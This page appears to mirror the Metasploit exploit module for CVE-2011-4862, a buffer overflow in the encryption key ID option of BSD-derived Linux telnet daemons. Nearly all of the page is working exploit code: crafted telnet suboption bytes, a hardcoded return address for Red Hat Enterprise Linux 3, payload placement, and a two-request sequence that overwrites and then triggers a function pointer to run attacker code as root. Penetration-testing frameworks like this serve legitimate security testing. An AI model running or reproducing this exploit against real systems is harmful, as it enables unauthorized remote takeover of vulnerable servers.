Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb
Views: 11784
# -*- coding: binary -*-12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Exploit::Remote8Rank = GreatRanking910include Msf::Exploit::Remote::Telnet11include Msf::Exploit::BruteTargets1213def initialize(info = {})14super(update_info(info,15'Name' => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow in the encryption option handler of the18Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions19use NetKit-derived telnet daemons, so this flaw only applies to a small subset of20Linux systems running telnetd.21},22'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],23'License' => MSF_LICENSE,24'References' =>25[26['CVE', '2011-4862'],27['OSVDB', '78020'],28['BID', '51182'],29['EDB', '18280']30],31'Privileged' => true,32'Platform' => 'linux',33'Payload' =>34{35'Space' => 200,36'BadChars' => "\x00",37'DisableNops' => true,38},3940'Targets' =>41[42[ 'Automatic', { } ],43[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],44],45'DefaultTarget' => 0,46'DisclosureDate' => '2011-12-23'))47end4849def exploit_target(t)5051connect52banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)53vprint_status(banner_sanitized)5455enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"56enc_keyid = "\xff\xfa\x26\x07"57end_suboption = "\xff\xf0"5859penc = payload.encoded.gsub("\xff", "\xff\xff")6061key_id = Rex::Text.rand_text_alphanumeric(400)6263key_id[ 0, 2] = "\xeb\x76"64key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")65key_id[76, 4] = [ t['Ret'] ].pack("V")6667# Some of these bytes can get mangled, jump over them68key_id[80,40] = "\x41" * 406970# Insert the real payload71key_id[120, penc.length] = penc7273# Create the Key ID command74sploit = enc_keyid + key_id + end_suboption7576# Initiate encryption77sock.put(enc_init)7879# Wait for a successful response80loop do81data = sock.get_once(-1, 5) rescue nil82if not data83fail_with(Failure::Unknown, "This system does not support encryption")84end85break if data.index("\xff\xfa\x26\x02\x01")86end8788# The first request smashes the pointer89print_status("Sending first payload")90sock.put(sploit)9192# Make sure the server replied to the first request93data = sock.get_once(-1, 5)94unless data95print_status("Server did not respond to first payload")96return97end9899# Some delay between each request seems necessary in some cases100::IO.select(nil, nil, nil, 0.5)101102# The second request results in the pointer being called103print_status("Sending second payload...")104sock.put(sploit)105handler106107::IO.select(nil, nil, nil, 0.5)108disconnect109end110end111112113